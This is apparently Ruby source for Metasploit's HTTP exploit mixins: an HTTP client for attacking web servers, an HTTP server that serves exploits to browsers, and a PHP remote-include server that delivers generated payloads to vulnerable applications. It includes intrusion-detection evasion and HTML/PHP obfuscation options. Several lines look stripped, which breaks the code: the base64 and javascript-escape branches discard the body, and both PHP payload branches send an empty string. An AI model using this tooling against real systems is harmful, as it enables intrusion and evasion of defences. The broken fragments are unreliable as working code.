require 'rex/service_manager' module Msf ### # # This module provides methods for acting as an HTTP client when # exploiting an HTTP server. # ### module Exploit::Remote::HttpClient # # Initializes an exploit module that exploits a vulnerability in an HTTP # server. # def initialize(info = {}) super register_options( [ Opt::RHOST, Opt::RPORT(80), OptString.new('VHOST', [ false, "HTTP server virtual host" ]), Opt::SSL, ], self.class ) register_advanced_options( [ OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests']) ], self.class ) register_evasion_options( [ OptEnum.new('HTTP::uri_encode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]), OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]), OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]), OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]), OptEnum.new('HTTP::pad_method_uri_type', [false, 'What type of whitespace to use between the method and uri', 'space', ['space', 'tab', 'apache']]), OptEnum.new('HTTP::pad_uri_version_type', [false, 'What type of whitespace to use between the uri and version', 'space', ['space', 'tab', 'apache']]), OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]), OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]), OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]), OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]), OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]), OptBool.new('HTTP::uri_use_backslaces', [false, 'Use back slashes instead of forward slashes in the uri ', false]), OptBool.new('HTTP::pad_fake_headers', [false, 'Insert random, fake headers into the HTTP request', false]), OptInt.new('HTTP::pad_fake_headers_count', [false, 'How many fake headers to insert into the HTTP request', 0]) # # Remaining evasions to implement # # OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']), # OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']), # OptBool.new('HTTP::junk_directories', [false, 'Enable insertion of random junk directories in the URI', 'false']), # OptBool.new('HTTP::junk_params', [false, 'Enable insertion of random junk parameters', 'false']), # OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]), # OptBool.new('HTTP::fake_uri_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', 'false']), # OptBool.new('HTTP::fake_param_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', 'false']), ], self.class ) end # # Connects to an HTTP server. # def connect(opts={}) nclient = Rex::Proto::Http::Client.new( rhost, rport.to_i, { 'Msf' => framework, 'MsfExploit' => self, }, ssl ) # Configure the HTTP client with the supplied parameter nclient.set_config( 'vhost' => self.vhost(), 'uri_encode_mode' => datastore['HTTP::uri_encode'], 'agent' => datastore['UserAgent'] ) # If this connection is global, persist it if (opts['global']) if (self.client) disconnect end self.client = nclient end return nclient end # # Passes the client connection down to the handler to see if it's of any # use. # def handler(nsock = nil) # If no socket was provided, try the global one. if ((!nsock) and (self.client)) nsock = self.client.conn end # If the parent claims the socket associated with the HTTP client, then # we rip the socket out from under the HTTP client. if (((rv = super(nsock)) == Handler::Claimed) and (self.client) and (nsock == self.client.conn)) self.client.conn = nil end rv end # # Disconnects the HTTP client # def disconnect(nclient = self.client) if (nclient) nclient.close end if (nclient == self.client) self.client = nil end end # # Performs cleanup as necessary, disconnecting the HTTP client if it's # still established. # def cleanup super disconnect end # # Connects to the server, creates a request, sends the request, reads the response # def send_request_raw(opts={}, timeout = -1) c = connect(opts) r = c.request_raw(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) end # # Connects to the server, creates a request, sends the request, reads the response # def send_request_cgi(opts={}, timeout = -1) c = connect(opts) r = c.request_cgi(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) end ## # # Wrappers for getters # ## # # Returns the target host # def rhost datastore['RHOST'] end # # Returns the remote port # def rport datastore['RPORT'] end # # Returns the VHOST of the HTTP server. # def vhost datastore['VHOST'] || datastore['RHOST'] end # # Returns the boolean indicating SSL # def ssl datastore['SSL'] end protected attr_accessor :client end ### # # This module provides methods for exploiting an HTTP client by acting # as an HTTP server. # ### module Exploit::Remote::HttpServer include Msf::Exploit::Remote::TcpServer protected def initialize(info = {}) super register_options( [ OptString.new('URIPATH', [ false, "The URI to use for this exploit (default is random)"]), ], Exploit::Remote::HttpServer ) register_evasion_options( [ OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']), OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']), OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']), OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]), ], Exploit::Remote::HttpServer ) end # # Ensures that gzip can be used. If not, an exception is generated. The # exception is only raised if the DisableGzip advanced option has not been # set. # def use_zlib if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" end end # # This method gives a derived class the opportunity to ensure that all # dependencies are present before initializing the service. # def check_dependencies end # # This mixin starts the HTTP server listener. This routine takes a few # different hash parameters: # # ServerHost => Override the server host to listen on (default to SRVHOST). # ServerPort => Override the server port to listen on (default to SRVPORT). # Uri => The URI to handle and the associated procedure to call. # def start_service(opts = {}) check_dependencies # Default the server host and port to what is required by the mixin. opts = { 'ServerHost' => datastore['SRVHOST'], 'ServerPort' => datastore['SRVPORT'], }.update(opts) # Start the HTTP server service. self.service = Rex::ServiceManager.start( Rex::Proto::Http::Server, opts['ServerPort'].to_i, opts['ServerHost'], { 'Msf' => framework, 'MsfExploit' => self, } ) self.service.server_name = 'Apache' # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => Proc.new { |cli, req| evasions(cli) on_request_uri(cli, req) }, 'Path' => resource_uri }.update(opts['Uri'] || {}) print_status("Using URL: http://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") add_resource(uopts) end # # Adds a URI resource using the supplied hash parameters. # # Path => The path to associate the procedure with. # Proc => The procedure to call when the URI is requested. # LongCall => Indicates that the request is a long call. # def add_resource(opts) @service_path = opts['Path'] service.add_resource(opts['Path'], opts) end # # Returns the last-used resource path # def get_resource @service_path end # # Removes a URI resource. # def remove_resource(name) service.remove_resource(name) end # # Closes a client connection. # def close_client(cli) service.close_client(cli) end # # Creates an HTTP response packet. # def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol) return Rex::Proto::Http::Response.new(code, message, proto); end # # Transmits a response to the supplied client, default content-type is text/html # # Payload evasions are implemented here! # def send_response(cli, body, headers = {}) response = create_response response['Content-Type'] = 'text/html' response.body = body if (datastore['HTTP::compression']) self.use_zlib # make sure... response.compress = datastore['HTTP::compression'] end if (datastore['HTTP::chunked'] == true) response.auto_cl = false response.transfer_chunked = true end if (datastore['HTTP::header_folding'] == true) response.headers.fold = 1 end if (datastore['HTTP::junk_headers'] == true) response.headers.junk_headers = 1 end headers.each_pair { |k,v| response[k] = v } cli.send_response(response) end # # Sends a 302 redirect to the client # def send_redirect(cli, location='/', body='') response = create_response(302, 'Moved') response['Content-Type'] = 'text/html' response['Location'] = location response.body = body cli.send_response(response) end # # Sends a 302 redirect relative to our base path # def send_local_redirect(cli, location) send_redirect(cli, get_resource + location) end # # Returns the configured (or random, if not configured) URI path # def resource_uri path = datastore['URIPATH'] || random_uri path = '/' + path if path !~ /^\// return path end # # Generates a random URI for use with making finger printing more # challenging. # def random_uri "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6) end # # Re-generates the payload, substituting the current RHOST and RPORT with # the supplied client host and port. # def regenerate_payload(cli) # Update the datastore with the supplied client peerhost/peerport datastore['RHOST'] = cli.peerhost datastore['RPORT'] = cli.peerport # If the payload fails to generate for some reason, send a 403. if ((p = super()) == nil) print_error("Failed to generate payload, sending 403.") cli.send_response( create_response(403, 'Forbidden')) return nil end # Allow the payload to start a new handler add_handler({ 'RHOST' => datastore['RHOST'], 'RPORT' => datastore['RPORT'] }) p end ## # # Override methods # ## # # Called when a request is made to a single URI registered during the # start_service. Subsequent registrations will not result in a call to # on_request_uri. # def on_request_uri(cli, request) end end ### # # This module provides methods for exploiting an HTTP client by acting # as an HTTP server. # ### module Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::HttpServer protected def initialize(info = {}) super register_evasion_options( [ # utf-8, utf-7 and utf-7-all are currently not supported by # most browsers. as such, they are not added by default. The # mixin supports encoding using them, however they are not # listed in the Option. OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]), OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), ], Exploit::Remote::HttpServer::HTML ) end # Transmits a html response to the supplied client # # HTML evasions are implemented here. def send_response_html(cli, body, headers = {}) if datastore['HTML::base64'] != 'none' case datastore['HTML::base64'] when 'plain' body = Rex::Text.encode_base64(body) when 'single_pad' body = Rex::Text.encode_base64(' ' + body) when 'double_pad' body = Rex::Text.encode_base64(' ' + body) when 'random_space_injection' body = Rex::Text.encode_base64(body) new = '' while (body.size > 0) new += body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n") end body = new end body = 'Could not render object' end if datastore['HTML::javascript::escape'] > 0 datastore['HTML::javascript::escape'].times { body = '' } end if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode']) headers['Content-Type'] = 'text/html; charset: ' + datastore['HTML::unicode'] body = Rex::Text.to_unicode(body, datastore['HTML::unicode']) else # special cases case datastore['HTML::unicode'] when 'utf-16be-marker' headers['Content-Type'] = 'text/html' body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be') when 'utf-7-all' headers['Content-Type'] = 'text/html; charset: utf-7' body = Rex::Text.to_unicode(body, 'utf-7', 'all') when 'none' # do nothing else raise RuntimeError, 'Invalid unicode. how did you get here?' end end send_response(cli, body, headers) end end ### # # This module provides methods for exploiting an HTTP client by acting # as an HTTP server. # ### module Exploit::Remote::HttpServer::PHPInclude include Msf::Exploit::Remote::HttpServer def initialize(info = {}) # Override TCPServer's stance of passive super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) register_evasion_options( [ OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]), ], Exploit::Remote::HttpServer::PHPInclude ) end # # Override exploit() to handle service start/stop # def exploit start_service print_status("PHP include server started."); php_exploit select(nil, nil, nil, 5) stop_service end # # Transmits a PHP payload to the web application # def send_php_payload(cli, body, headers = {}) case datastore['PHP::Encode'] when 'base64' body = "" when 'none' body = "" end send_response(cli, body, headers) end # # Handle an incoming PHP code request # def on_request_uri(cli, request, headers={}) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Send it to the application send_php_payload(cli, p.encoded, headers) end # # Return the PHP include URL (pre-encoded) # def php_include_url "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{get_resource()}" end end end